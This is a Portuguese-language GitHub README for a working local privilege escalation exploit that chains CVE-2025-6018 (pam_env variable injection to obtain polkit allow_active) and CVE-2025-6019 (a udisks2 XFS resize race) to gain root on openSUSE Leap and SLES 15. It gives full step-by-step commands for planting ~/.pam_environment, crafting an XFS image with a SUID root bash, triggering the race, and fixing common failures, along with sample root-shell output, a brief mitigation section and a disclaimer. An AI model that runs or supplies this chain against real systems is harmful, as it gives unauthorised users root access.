
CVE-2025-6018 CVE-2025-6019 PoC Exploit - Escalação de privilégios local no openSUSE/SUSE Linux Enterprise 15 - bypass de PAM + condição de corrida XFS do udisks2 LPE para root
PoC/Exploit funcional para CVE-2025-6018 e CVE-2025-6019 - Escalação de privilégios de usuário não privilegiado para root no openSUSE Leap 15.x e SUSE Linux Enterprise 15.x
| CVE ID | Vulnerabilidade | Impacto |
|---|---|---|
| CVE-2025-6018 | Injeção de Variáveis de Ambiente no PAM | Bypass para o status allow_active do polkit |
| CVE-2025-6019 | Condição de Corrida no Redimensionamento XFS do udisks2/libblockdev |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Nota: o openSUSE Leap 15.6 atinge o fim da vida útil em 30 de abril de 2026. Após essa data, nenhum patch de segurança será lançado. Os usuários devem migrar para o Leap 16.0 ou para o SLES com suporte estendido.
user_readenv=1allow_active: yes para ações do udisks2./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
Execute na máquina ATACANTE como root:
⚠️ Você DEVE usar o binário
/usr/bin/bashda vítima, não o seu local. Um binário bash de uma distribuição diferente (Kali, Arch, Ubuntu, etc.) falhará no alvo devido à incompatibilidade de ABI do glibc/bibliotecas compartilhadas — mesmo na mesma arquitetura x86_64.
O script detecta automaticamente a sua versão do xfsprogs e aplica as flags corretas:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
A imagem XFS deve ser formatada com flags compatíveis com o kernel do alvo. Versões mais novas do xfsprogs habilitam por padrão recursos no disco (on-disk) que kernels SUSE mais antigos não conseguem ler, causando erros de wrong fs type, bad superblock durante a montagem de redimensionamento do udisks2.
| Alvo | Kernel | comando mkfs.xfs |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
Por quê? Os recursos exchange e parent são do kernel 6.10+ (ativados por padrão no xfsprogs 6.x). Os recursos bigtime, inobtcount e nrext64 são do kernel 5.10+. O comando "compat" para SP1-SP4 (-m crc=0,reflink=0) cria um formato XFS V4 com todos os recursos modernos desabilitados, que funciona em todos os SUSE 15 SP.
Vulnerabilidade: o módulo pam_env do PAM lê ~/.pam_environment com user_readenv=1 (padrão no SUSE), permitindo a injeção de variáveis de ambiente.
Exploit: defina XDG_SEAT=seat0 e XDG_VTNR=1 para enganar o systemd-logind e conceder privilégios allow_active do polkit.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Vulnerabilidade: ao redimensionar o sistema de arquivos XFS via udisks2, o libblockdev monta temporariamente o sistema de arquivos sem a flag nosuid.
Exploit:
./exploit.sh --check
Saída:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Saída:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Saída:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"
Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis por qualquer uso indevido.
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ Dê uma estrela neste repositório se ele ajudou você! ⭐
| Shell root |
| Problema | Causa | Solução |
|---|
allow_active: NO | Bypass do PAM não ativo | Execute --setup, saia do SSH, reconecte e execute su - $USER |
Image is not XFS | Formato de sistema de arquivos incorreto | Use mkfs.xfs, não mkfs.ext4 |
SUID not working | Permissões não definidas | Verifique as permissões -rwsr-xr-x na máquina do atacante |
Race condition missed | Problema de timing | Execute o exploit novamente (geralmente funciona em 1-3 tentativas) |
Binário SUID com segfault ou GLIBC_x.xx not found | Binário bash de distribuição errada (incompatibilidade glibc/ABI) | Use o binário /usr/bin/bash da vítima via scp, não o seu bash local |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | Imagem XFS formatada com recursos que o kernel do alvo não consegue ler (incompatibilidade de versão do xfsprogs) | Crie a imagem com mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img para SP5/SP6, ou mkfs.xfs -f -m crc=0,reflink=0 xfs.img para SP1-SP4 |
XFSRace ConditionSecurityVulnerabilityPentest